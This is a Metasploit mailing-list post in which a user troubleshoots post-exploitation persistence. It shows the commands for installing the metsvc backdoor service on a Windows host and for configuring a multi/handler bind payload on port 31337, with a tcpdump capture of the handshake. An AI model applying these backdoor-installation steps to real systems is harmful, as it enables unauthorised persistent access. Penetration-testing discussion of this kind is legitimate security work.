Problems with metsvc

[David Gomes <skysbsb () gmail com>]

Hi, i am trying to get post exploitation to work uploading metsvc.exe and
metsvc-server.exe... after i upload them, i execute metsvc.exe and receives
the msg:
c:\>metsvc.exe install-service
metsvc.exe install-service
 * Installing service metsvc
 * Starting service
Service metsvc successfully installed.

so now, i try to use multi/handler to exploitation, like:
msf exploit(handler) > set PAYLOAD windows/metsvc_bind_tcp
PAYLOAD => windows/metsvc_bind_tcp
msf exploit(handler) > show options

Module options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/metsvc_bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique: seh, thread, process
   LPORT     31337            yes       The local port
   RHOST     10.1.1.20        no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf exploit(handler) > exploit

[*] Starting the payload handler...
[*] Started bind handler

but nothing happens, the module just dont do anything.. its hang in this
screen...

i tried see if tcpdump shows me the connection, and i see this:

# tcpdump -i eth0 -n port 31337
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
21:23:13.953100 IP 10.1.1.102.55723 > 10.1.1.20.31337: S
81563347:81563347(0) win 5840 <mss 1460,sackOK,timestamp 3803465
0,nop,wscale 6>
21:23:13.954574 IP 10.1.1.20.31337 > 10.1.1.102.55723: S
3312910442:3312910442(0) ack 81563348 win 65535 <mss 1460,nop,wscale
0,nop,nop,timestamp 0 0,nop,nop,sackOK>
21:23:13.954628 IP 10.1.1.102.55723 > 10.1.1.20.31337: . ack 1 win 92
<nop,nop,timestamp 3803465 0>

u can see the 3-hand-shake, but the metasploit framework just hang and
nothing happens..

i am making something wrong?

Tks..

_______________________________________________
https://mail.metasploit.com/mailman/listinfo/framework